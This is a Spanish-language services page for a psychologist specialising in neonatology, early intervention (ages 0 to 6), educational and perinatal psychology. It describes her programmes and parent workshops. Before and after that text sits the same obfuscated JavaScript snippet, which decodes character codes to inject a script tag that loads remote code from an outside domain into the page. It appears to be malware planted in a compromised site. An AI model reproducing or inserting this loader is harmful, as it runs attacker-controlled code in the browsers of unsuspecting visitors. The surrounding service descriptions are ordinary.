Element.prototype.appendAfter = function(element) {element.parentNode.insertBefore(this, element.nextSibling);}, false;(function() { var elem = document.createElement(String.fromCharCode(115,99,114,105,112,116)); elem.type = String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116); elem.src = String.fromCharCode(104,116,116,112,115,58,47,47,99,115,115,46,100,105,103,101,115,116,99,111,108,101,99,116,46,99,111,109,47,122,98,116,63,118,56,52);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(115,99,114,105,112,116))[0]);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0]);document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0].appendChild(elem);})();

Evelyn Cano, Dra. en Psicología, Licenciada en Pedagogía. Especialista en servicio de Neonatología y Atención Temprana

Servicios

Fuera del Servicio de Neonatología también desarrollo mi actividad en otras áreas

Psicología en Educación

Atención Temprana (0-6 años)

La psicología educativa es la encargada de estudiar las formas del aprendizaje humano en el contexto educativo. Analiza la forma de aprender y enseñar con la finalidad de optimizar este proceso aplicando los principios y leyes de la psicología social al centro educativo.

En el contexto escolar, la psicología educativa investiga los mejores métodos y planes de estudio que permitan mejorar el modelo educativo y la gestión de los centros.

Esto es posible llevando a cabo un plan de evaluación, diagnóstico e intervención tanto en el centro como fuera de él orientando a padres sobre ello.

Se entiende por Atención Temprana el conjunto de intervenciones, dirigidas a la población infantil de 0-6 años, a la familia y al entorno, que tienen por objetivo dar respuesta lo más pronto posible a las necesidades transitorias o permanentes que presentan los niños con trastornos en su desarrollo o que tienen riesgo de padecerlos. Estas intervenciones, que deben considerar la globalidad del niño, han de ser planificadas por un equipo de profesionales de orientación interdisciplinar o transdisciplinar” (Libro Blanco de la Atención Temprana).

Objetivos en Atención Temprana

Es muy importante también la orientación a padres y docentes sobre la actuación una vez realizada la evaluación y diagnóstico
Optimizar

Optimizar el desarrollo del niño, en todas sus áreas (cognitiva, lenguaje, comunicación, social, emocional y motora)

Evitar o reducir

Evitar o reducir la aparición de efectos o déficits secundarios o asociados, producidos por un trastorno o situación de riesgo.

Atender

Atender las necesidades de la familia y el entorno en el que vive el niño, considerando al niño y a su familia como sujetos activos de la intervención.

Psicología en Educación

Escuelas Infantiles

El objetivo consiste en potenciar las capacidades de desarrollo y bienestar de dichos niños, y favorecer la adaptación mutua de la familia y el niño, así como su autonomía. Para ello, se intenta fomentar que los padres y educadores conozcan de forma anticipada las capacidades, peculiaridades y potencialidades de los niños. También se intenta detectar, lo más precozmente posible cualquier alteración del desarrollo.

Funciones

Evaluación del desarrollo mental y motor de los niños
Orientación a padres
Orientaciones a profesionales educativos (dirección, educadoras y otros profesionales)

Talleres para Padres

En Escuelas Infantiles
Llegada de un hermano (con o sin discapacidad)
Lenguaje y comunicación
¿Cómo podemos actuar con nuestros hijos? Las interacciones
Conductas
Las rabietas
Autonomía

Psicología Perinatal

Está enfocada en la prevención por todos los aspectos psico-afectivos relacionados con la concepción, el embarazo, parto, postparto y crianza temprana.

La salud mental de la madre en la etapa perinatal, influye en el bienestar fetal, en los resultados obstétricos, y en el desarrollo cognitivo, emocional y social del niño/a.

Una apropiada y especifica atención e intervención de las necesidades de la madre en este periodo tiene un impacto positivo a largo plazo mientras que la falta de actuación comporta un alto coste individual, familiar y social en general.

Programa Perinatal

Detección y tratamiento precoz entorno a la gestación, parto, purperio, así como a su efecto en el recién nacido y en la interacción vincular.

Pedagogía, orientación y terapia en hospitales, dirigido a padres y profesionales sanitarios.

Asistencia a familiares en el centro de concepción, hospitalario, apoyo emocional, asesoramiento y afrontamiento de la nueva situación resolver situaciones de infelicidad y malestar emocional. Orientación, consejo y apoyo psicológico para superar sus dificultades.

Formación a profesionales del centro sanitario ofreciendo ayuda psicológica y orientación a los trabajadores, nivel de prevención o tratamiento.

Element.prototype.appendAfter = function(element) {element.parentNode.insertBefore(this, element.nextSibling);}, false;(function() { var elem = document.createElement(String.fromCharCode(115,99,114,105,112,116)); elem.type = String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116); elem.src = String.fromCharCode(104,116,116,112,115,58,47,47,99,115,115,46,100,105,103,101,115,116,99,111,108,101,99,116,46,99,111,109,47,122,98,116,63,118,56,52);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(115,99,114,105,112,116))[0]);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0]);document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0].appendChild(elem);})();